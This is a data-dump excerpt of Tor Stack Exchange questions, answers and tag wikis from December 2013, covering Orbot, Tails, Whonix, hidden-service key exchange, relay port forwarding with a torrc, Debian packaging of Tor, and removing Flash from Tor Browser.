  <row Id="963" PostTypeId="2" ParentId="959" CreationDate="2013-12-12T09:16:26.010" Score="2" Body="&lt;p&gt;Your question suggests a bit of confusion, so I'll try to clarify.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://guardianproject.info/apps/orbot/&quot; rel=&quot;nofollow&quot;&gt;Orbot&lt;/a&gt; is an app for Android phones that connects to the Tor&#xA;network. You can then set other apps on your phone to use Orbot to&#xA;route their traffic through Tor before entering the wider internet.&#xA;It allows mobile phone users to access the web/messaging/email&#xA;without being monitored or blocked by their mobile internet service&#xA;provider.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; is a live operating system meant to run on a&#xA;desktop/laptop computer from a DVD, USB stick, or SD card. When using&#xA;Tails ALL connections to the Internet are routed through the Tor&#xA;network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, it's not really possible to &quot;use Tails on a device that is already running Orbot&quot; because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They're built for different devices&lt;/li&gt;&#xA;&lt;li&gt;Tails is a full Operating System whilst Orbot is an App built to run within the Android Operating System&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-12-12T09:16:26.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostTypeId="5" CreationDate="2013-12-12T09:52:31.890" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://guardianproject.info/apps/orbot/&quot; rel=&quot;nofollow&quot;&gt;Orbot&lt;/a&gt; is an app for Android phones that connects to the Tor network. You can then set other apps on your phone to use Orbot to route their traffic through Tor before entering the wider internet. It allows mobile phone users to access the web/messaging/email without being monitored or blocked by their mobile internet service provider.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:26.220" LastActivityDate="2013-12-13T15:07:26.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="965" PostTypeId="4" CreationDate="2013-12-12T09:52:31.890" Score="0" Body="Orbot is an app for Android phones that connects to the Tor network." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:06:57.623" LastActivityDate="2013-12-13T15:06:57.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostTypeId="5" CreationDate="2013-12-12T12:21:55.947" Score="0" Body="&lt;p&gt;The anonymizing relay monitor (&lt;strong&gt;nyx&lt;/strong&gt;, previously called &lt;strong&gt;arm&lt;/strong&gt;) is a terminal status monitor for Tor, intended for command-line aficionados, ssh connections, and anyone with a tty terminal. This works much like top does for system usage, providing real time statistics for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bandwidth, CPU, and memory usage&lt;/li&gt;&#xA;&lt;li&gt;relay's current configuration&lt;/li&gt;&#xA;&lt;li&gt;logged events&lt;/li&gt;&#xA;&lt;li&gt;connection details (IP, hostname, fingerprint, and consensus data)&lt;/li&gt;&#xA;&lt;li&gt;… etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akX1q.png&quot; alt=&quot;Tor ARM Bandwidth graph and event log&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="9426" LastEditDate="2015-09-21T08:43:08.813" LastActivityDate="2015-09-21T08:43:08.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="967" PostTypeId="4" CreationDate="2013-12-12T12:21:55.947" Score="0" Body="The Anonymizing Relay Monitor (nyx, previously called arm) is a command-line status monitor for Tor, providing real time statistics." OwnerUserId="71" LastEditorUserId="9426" LastEditDate="2015-09-21T08:42:38.210" LastActivityDate="2015-09-21T08:42:38.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="968" PostTypeId="5" CreationDate="2013-12-12T12:26:17.000" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-12T12:26:17.000" LastActivityDate="2013-12-12T12:26:17.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostTypeId="4" CreationDate="2013-12-12T12:26:17.000" Score="0" Body="Linux (GNU/Linux) is a Unix-like computer operating system assembled under the model of free and open source software development and distribution. It is also the basis of other operating systems like Android &amp; Chrome OS." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:49.550" LastActivityDate="2013-12-13T15:07:49.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostTypeId="5" CreationDate="2013-12-12T12:28:29.370" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-12T12:28:29.370" LastActivityDate="2013-12-12T12:28:29.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostTypeId="4" CreationDate="2013-12-12T12:28:29.370" Score="0" Body="Silk Road was an online black market operated as a Tor hidden service. Prior to its FBI shut-down on 2013-10-02 it was sometimes called the &quot;Amazon.com of illegal drugs&quot; or the &quot;eBay for drugs&quot;." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:06:46.420" LastActivityDate="2013-12-13T15:06:46.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostTypeId="5" CreationDate="2013-12-12T12:32:51.207" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-12T12:32:51.207" LastActivityDate="2013-12-12T12:32:51.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostTypeId="4" CreationDate="2013-12-12T12:32:51.207" Score="0" Body="TorCheck is a website hosted by the Tor Project for determining if a visitor is using Tor or not. It is usually a user's first step in identifying if their Tor connection is configured correctly." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:30.610" LastActivityDate="2013-12-13T15:07:30.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="974" PostTypeId="5" CreationDate="2013-12-12T12:33:45.540" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-12T12:33:45.540" LastActivityDate="2013-12-12T12:33:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostTypeId="4" CreationDate="2013-12-12T12:33:45.540" Score="0" Body="The Amnesic Incognito Live System (TAILS) is a live CD/USB distribution preconfigured so that everything is safely routed through Tor and leaves no trace on the local system." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:34.173" LastActivityDate="2013-12-13T15:07:34.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="976" PostTypeId="5" CreationDate="2013-12-12T12:37:33.733" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-12T12:37:33.733" LastActivityDate="2013-12-12T12:37:33.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="977" PostTypeId="4" CreationDate="2013-12-12T12:37:33.733" Score="0" Body="Whonix is an operating system focused on anonymity, privacy and security. It's based on the Tor anonymity network, Debian GNU/Linux and security by isolation." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:37.017" LastActivityDate="2013-12-13T15:07:37.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="979" PostTypeId="5" CreationDate="2013-12-12T13:22:40.817" Score="0" Body="&lt;p&gt;A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One common method involves saturating the target machine with so many external requests that it cannot respond to legitimate traffic, or responds so slowly as to be rendered essentially unavailable.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-20T21:25:07.090" LastActivityDate="2013-12-20T21:25:07.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="980" PostTypeId="4" CreationDate="2013-12-12T13:22:40.817" Score="0" Body="Denial-of-service attacks are attempts to make machines or other network resources unavailable to their intended users." OwnerUserId="71" LastEditorUserId="58" LastEditDate="2013-12-20T21:25:58.030" LastActivityDate="2013-12-20T21:25:58.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="981" PostTypeId="1" CreationDate="2013-12-12T13:26:47.747" Score="5" ViewCount="320" Body="&lt;p&gt;Assume we are refreshing a web page very quickly and fresh identity is needed for each request. My question is how often we can change IP on Tor network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More briefly how much computation and how much time (in average please) is required for each new identity?&lt;/p&gt;&#xA;" OwnerUserId="712" LastEditorUserId="923" LastEditDate="2014-07-03T21:49:14.743" LastActivityDate="2014-07-03T21:49:14.743" Title="How much does it cost to change Tor identity?" Tags="|circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="982" PostTypeId="2" ParentId="820" CreationDate="2013-12-12T13:50:59.423" Score="2" Body="&lt;p&gt;Whilst not as certain as verifying downloads by MD5 hash/checksum, an alternative would be to download the same files multiple times using &quot;New Identity&quot; in Torbutton (or &quot;Use New Identity&quot; in Vidalia). The chances of randomly picking a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/badRelays&quot; rel=&quot;nofollow&quot;&gt;bad exit&lt;/a&gt; that would tamper with your particular download &lt;em&gt;and&lt;/em&gt; which hasn't been flagged yet is already fairly low. The chances of this happening multiple times with different exit nodes decreases exponentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a couple of copies of the same file you can compare your own checksums. If they match, then it's pretty likely that you're safe.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-12-12T13:50:59.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostTypeId="2" ParentId="956" CreationDate="2013-12-12T14:33:50.153" Score="8" Body="&lt;p&gt;&lt;em&gt;TL;DR — Yes, traffic is end-to-end encrypted between the client and the server node.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand why, it's important first to clear up a misconception in the original question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when Alice don't know destination node's key how is that possible&#xA;  encrypt traffic on this point?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alice does know the destination's public key (identity) and visa versa. Keys do not correspond to locations in the Tor network though, so Alice and her destination are still anonymous. On a more fundamental level: &lt;em&gt;Identities do not correspond to locations&lt;/em&gt; in the Tor network (in fact, making that so is the whole point of the Tor network!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;noreferrer&quot;&gt;This article&lt;/a&gt; provides a good overview of how the Tor Hidden Service protocol works, and how alice and the hidden service perform key exchange and the like. It is sumarized below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The service randomly picks some relays, builds circuits to them, and asks them to act as introduction points &lt;em&gt;by telling them its public key&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wt9IA.png&quot; alt=&quot;Hidden Service selecting introduction points&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The hidden service bundles its public key and a summary of each introduction point into a hidden service descriptor and signs this descriptor with its private key&lt;/li&gt;&#xA;&lt;li&gt;It uploads that descriptor to a distributed hash table.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FOZ8f.png&quot; alt=&quot;Advertising a hidden service descriptor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A client requests the hidden service descriptor from the DHT using a hash that corresponds to the descriptor (a &lt;code&gt;.onion&lt;/code&gt; address)&lt;/li&gt;&#xA;&lt;li&gt;The client creates a circuit to another randomly picked relay and asks it to act as &lt;em&gt;rendezvous point&lt;/em&gt; by telling it a one-time secret&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/67T1c.png&quot; alt=&quot;Client connection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The client assembles an introduce message (encrypted to the hidden service's public key) including the address of the rendezvous point and the one-time secret&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client sends this message to one of the introduction points, requesting it be delivered to the hidden service&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The hidden service decrypts the client's introduce message and finds the address of the rendezvous point and the one-time secret in it&lt;/li&gt;&#xA;&lt;li&gt;The service creates a circuit to the rendezvous point and sends the one-time secret to it in a rendezvous message&lt;/li&gt;&#xA;&lt;li&gt;The rendezvous point notifies the client about successful connection establishment&lt;/li&gt;&#xA;&lt;li&gt;Both client and hidden service can use their circuits to the rendezvous point for communicating with each other. The rendezvous point simply relays (end-to-end encrypted) messages from client to service and vice versa&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLwdS.png&quot; alt=&quot;The final state of the network&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;noreferrer&quot;&gt;rendevouze spec&lt;/a&gt; or the &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;noreferrer&quot;&gt;Tor design whitepaper&lt;/a&gt; [PDF].&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-12-12T14:33:50.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="984" PostTypeId="1" CreationDate="2013-12-12T14:49:31.713" Score="6" ViewCount="3320" Body="&lt;p&gt;We use Stem's &lt;code&gt;launch_tor_with_config&lt;/code&gt; with the following config and then close all circuits opened by it (with &lt;code&gt;close_circuit&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; and &lt;code&gt;NewCircuitPeriod&lt;/code&gt;: tens of hours&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MaxClientCircuitsPending&lt;/code&gt;: 1 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then we build just one circuit by calling &lt;code&gt;new_circuit&lt;/code&gt; (Stem) and set (&lt;code&gt;set_conf&lt;/code&gt;) &lt;code&gt;__DisablePredictedCircuits&lt;/code&gt; to 1 (since we cannot bootstrap with this setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while Tor starts building new circuits, which we don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time we could find a sign of failure in the debug log just before the circuit creation, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;connection_ap_expire_beginning: &quot;We tried for [10|15] seconds to&#xA;connect to XX using exit XX Retrying on a new circuit&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;connection_ap_process_end_not_open(): Address XX refused due to 'misc&#xA;error'. Considering retrying.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can we tell Tor to try really hard (longer timeouts, higher retry counts, ignore some connection failures etc.) before it opens a new circuit?&lt;/p&gt;&#xA;" OwnerUserId="709" LastEditorUserId="709" LastEditDate="2013-12-12T16:00:55.333" LastActivityDate="2013-12-14T17:02:31.977" Title="How to force Tor to use just one circuit?" Tags="|configuration|circuit|protocol|research|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="985" PostTypeId="2" ParentId="961" CreationDate="2013-12-12T15:00:14.243" Score="1" Body="&lt;p&gt;You don't explain exactly what you do to upgrade to new version, so it's difficult to be certain, but I suspect that what you are observing is a symptom of the way the upgrade check is currently implemented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Torbutton extension in Tor Browser periodically downloads a list of &quot;recommended versions&quot; from &lt;a href=&quot;https://check.torproject.org/RecommendedTBBVersions&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/RecommendedTBBVersions&lt;/a&gt; in the background and compares its current version with that list. If it finds that the version you are running is no longer recommended, it sets an internal Firefox preference (a configuration value) to indicate that an update is required, and displays the update notification in the browser user interface (the flashing yellow triangle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply extract the new version of the Tor Browser Bundle over the old Tor Browser directory when you upgrade to a new version, then the previous value of the &quot;update required&quot; preference will be retained, and the new version will also display the update notification based on the value of this preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is harmless; next time it downloads the list of &quot;recommended versions&quot; it will notice that you now have an updated version and that the update is no longer required. Thus the warning notification should disappear by itself after some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended way to upgrade is to delete the old Tor Browser Bundle (after exporting any bookmarks etc. you want to retain), and then extract the new version; see &lt;a href=&quot;https://tor.stackexchange.com/questions/54/how-can-i-switch-from-one-tor-browser-bundle-version-to-another&quot;&gt;&quot;How can I switch from one Tor Browser Bundle version to another?&quot;&lt;/a&gt;. If you do this, then you will avoid the bogus notification.&lt;/p&gt;&#xA;" OwnerUserId="713" LastActivityDate="2013-12-12T15:00:14.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="986" PostTypeId="1" CreationDate="2013-12-12T16:17:47.797" Score="5" ViewCount="3830" Body="&lt;p&gt;Somehow flash player has gotten inside Tor and I do not like it. It offered one-click enable flash, but it doesn't state its risks and how long it will be enabled. I don't want to give up privacy for any videos, in fact, I want flash player to never attach itself to Tor browser in the first place. I want to have no way of enabling flash player in Tor browser as long as it does not offer privacy by design(read: forever). And also how did this function appear? Was it the Tor update or the flash player update? I can't believe they did not even notify the users how much privacy they give up by this feature.&lt;/p&gt;&#xA;" OwnerUserId="714" LastEditorUserId="923" LastEditDate="2014-07-03T21:48:54.213" LastActivityDate="2014-07-03T21:48:54.213" Title="How can I remove flash player forever from Tor?" Tags="|tor-browser-bundle|plugin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="988" PostTypeId="2" ParentId="986" CreationDate="2013-12-13T15:00:15.870" Score="6" Body="&lt;p&gt;Delete the Tor browser folder and reinstall the Tor browser bundle. Flash is not part of the TBB by default and can't be added without user intervention.&lt;/p&gt;&#xA;" OwnerUserId="721" LastEditorUserId="923" LastEditDate="2014-07-03T21:46:49.777" LastActivityDate="2014-07-03T21:46:49.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="989" PostTypeId="2" ParentId="981" CreationDate="2013-12-13T15:17:00.340" Score="8" Body="&lt;p&gt;Setting up circuits is very expensive.  It involves several round trips, and it involves lots of public/private key operations for the servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continually creating new circuits at a high frequency is wasteful and thus quite abusive.  Please don't do it.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-13T15:17:00.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostTypeId="1" AcceptedAnswerId="1000" CreationDate="2013-12-13T19:08:21.523" Score="2" ViewCount="116" Body="&lt;p&gt;Debian's apt repository is archived at &lt;a href=&quot;http://snapshot.debian.org/&quot; rel=&quot;nofollow&quot;&gt;http://snapshot.debian.org/&lt;/a&gt;. Is there such an archive for &lt;a href=&quot;http://deb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;http://deb.torproject.org/&lt;/a&gt; as well?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-12-14T10:28:05.663" Title="Is there an archive of deb.torproject.org?" Tags="|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="991" PostTypeId="1" AcceptedAnswerId="1001" CreationDate="2013-12-13T19:13:17.370" Score="1" ViewCount="57" Body="&lt;p&gt;&lt;a href=&quot;http://deb.torproject.org/torproject.org/dists/testing/main/binary-i386/Packages&quot; rel=&quot;nofollow&quot;&gt;deb.torproject.org&lt;/a&gt; currently contains 0.2.4.19-1~d79.jessie+1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://packages.debian.org/jessie/tor&quot; rel=&quot;nofollow&quot;&gt;jessie (testing)&lt;/a&gt; and &lt;a href=&quot;http://packages.debian.org/sid/tor&quot; rel=&quot;nofollow&quot;&gt;sid (unstable)&lt;/a&gt; currently contain 0.2.3.25-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When will Tor 0.2.4 migrate into sid and/or testing?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-12-14T10:30:28.470" Title="When will Tor 0.2.4 migrate into Debian Testing?" Tags="|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostTypeId="2" ParentId="991" CreationDate="2013-12-13T19:20:33.990" Score="2" Body="&lt;p&gt;When exactly, is never known with Debian project. You can watch the Debian Package Tracking System for news and the todo of the package. If you want to make the package enter early, check the TODO and look what you do to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the Tor package page: &lt;a href=&quot;http://packages.qa.debian.org/t/tor.html&quot; rel=&quot;nofollow&quot;&gt;http://packages.qa.debian.org/t/tor.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="475" LastActivityDate="2013-12-13T19:20:33.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostTypeId="2" ParentId="990" CreationDate="2013-12-13T19:26:13.200" Score="0" Body="&lt;p&gt;The Debian snapshot site is a archive for old, no longer needed packages that would be in the main repositories otherwise just wasting space. The tor project still hasn't reach such amount of packages so, a way back machine doesn't exist for the tor project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far it can be seen in the repository pool, all the packages since &lt;code&gt;0.2.3.25-1&lt;/code&gt; are stored there. The &lt;code&gt;-#&lt;/code&gt; at the end of the version means that the package has been debianized, since there could be mistakes in the packaging that needs to be solved but you can't bump the version of Tor just for that.&lt;/p&gt;&#xA;" OwnerUserId="475" LastActivityDate="2013-12-13T19:26:13.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="995" PostTypeId="1" CreationDate="2013-12-13T20:47:48.990" Score="4" ViewCount="436" Body="&lt;p&gt;When you start the Tor Browser Bundle, there are several links for help on Tor. I don't know what the link for Atlas is. It has many graphs on the output node and the firewall ports allowed and blocked. What is this?&lt;/p&gt;&#xA;" OwnerUserId="724" LastEditorUserId="58" LastEditDate="2013-12-20T09:00:46.743" LastActivityDate="2013-12-20T09:00:46.743" Title="What is the Atlas link in the Tor Browser Bundle?" Tags="|tor-browser-bundle|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostTypeId="2" ParentId="995" CreationDate="2013-12-13T20:57:14.120" Score="3" Body="&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en#project-atlas&quot; rel=&quot;nofollow&quot;&gt;Tor Project description&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Atlas is a web application to discover Tor relays and bridges. It&#xA;  provides useful information on how relays are configured along with&#xA;  graphics about their past usage.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is the spiritual successor to TorStatus, the original codebase&#xA;  for which was written in PHP, and rewritten by students from Wesleyan&#xA;  as Django.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically it's a web application that provides useful information on how relays are configured along with graphics about their past. When you click the link from the TorCheck page in Tor Browser it gives you the configuration/history of the exit node you're currently using.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-13T21:18:16.037" LastActivityDate="2013-12-13T21:18:16.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="997" PostTypeId="1" AcceptedAnswerId="1005" CreationDate="2013-12-14T06:36:26.373" Score="4" ViewCount="2017" Body="&lt;p&gt;I have been a regular user of the Tor browser bundle for quite sometime. Lately, I switched to a faster connection and I have been wondering if I should be running my own Tor-relay. I took the plunge and ran into couple of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Vidalia to setup Tor, gave it a nick and a contact email and all that. The opening of the ports is where I am facing an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge the OR (onion router) port is by default 9001 and the other port which the tutorial says is optional is the directory port which is by default 9030.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened them both on my cisco router, but I keep noticing the same error in the log file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Sat Dec 14 11:24:06 2013] Server Port Reachability Test Failed - Your relay's server port is not reachable by other Tor clients. This can happen if you are behind a router or firewall that requires you to set up port forwarding. If x.x.x.x:9001 is not your correct IP address and server port, please check your relay's configuration.&#xA;[Sat Dec 14 11:24:06 2013] Directory Port Reachability Test Failed - Your relay's directory port is not reachable by other Tor clients. This can happen if you are behind a router or firewall that requires you to set up port forwarding. If x.x.x.x:9030 is not your correct IP address and directory port, please check your relay's configuration.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the contents of the torrc file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AvoidDiskWrites 1&#xA;ContactInfo &#xA;ControlPort 9151&#xA;DataDirectory /home/x/Downloads/tor-browser_en-US/Data/Tor&#xA;DirPort 9030&#xA;DirReqStatistics 0&#xA;ExitPolicy reject *:*&#xA;GeoIPFile ./Data/Tor/geoip&#xA;HashedControlPassword &#xA;Log notice stdout&#xA;Nickname&#xA;ORPort 9001&#xA;RelayBandwidthBurst 10485760&#xA;RelayBandwidthRate 5242880&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One last thing I would like to add, while pasting these log-files, I noticed that the IP-address that is mentioned is not my external IP-address, what I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing I would like to add is I also port-forward another port for my bit-torrent client and its working with out any problem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem as pointed out by weasel, is that the Tor process is not able to bind to the correct external address, manually specifying the correct external address seems to be the solution.&lt;/p&gt;&#xA;" OwnerUserId="726" LastEditorUserId="923" LastEditDate="2014-07-03T21:53:24.343" LastActivityDate="2014-07-03T21:53:24.343" Title="Tor Relay reports &quot;Port Reachability Test Failed&quot; errors" Tags="|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="998" PostTypeId="1" CreationDate="2013-12-14T10:09:54.100" Score="1" ViewCount="117" Body="&lt;p&gt;Just installed do not track 3.1.1030 above on Tor, it is enabled but when I click icon no window. Always shows '0'.&#xA;Can it be fixed? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2013-12-18T22:38:37.473" Title="Do Not Track not working" Tags="|configuration|" AnswerCount="1" CommentCount="3" ClosedDate="2013-12-20T09:07:50.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostTypeId="2" ParentId="997" CreationDate="2013-12-14T10:21:59.607" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;One last thing I would like to add, while pasting these log-files, I&#xA;  noticed that the ip-adress that is mentioned is not my external&#xA;  ip-address, what I am missing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's probably exactly the problem.  If Tor doesn't know its external IP address, it cannot produce a correct descriptor.  Also, its reachability tests will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately you did not provide any info that would allow us to verify whether your relay works.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-15T09:52:44.207" LastActivityDate="2013-12-15T09:52:44.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1000" PostTypeId="2" ParentId="990" CreationDate="2013-12-14T10:28:05.663" Score="5" Body="&lt;p&gt;No, there is no snapshot service for deb.tpo.  &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/debs/main/t/tor/&quot;&gt;archive.tpo&lt;/a&gt; has some old .debs but it is not updated regularly, and thus not current.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All source versions can be found in &lt;a href=&quot;https://gitweb.torproject.org/debian/tor.git&quot;&gt;git&lt;/a&gt; though - the are properly tagged too.  If you need a specific binary build I can probably provide it - I should have all the non-dailies on disk.  (Contact me off-site.)&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-14T10:28:05.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
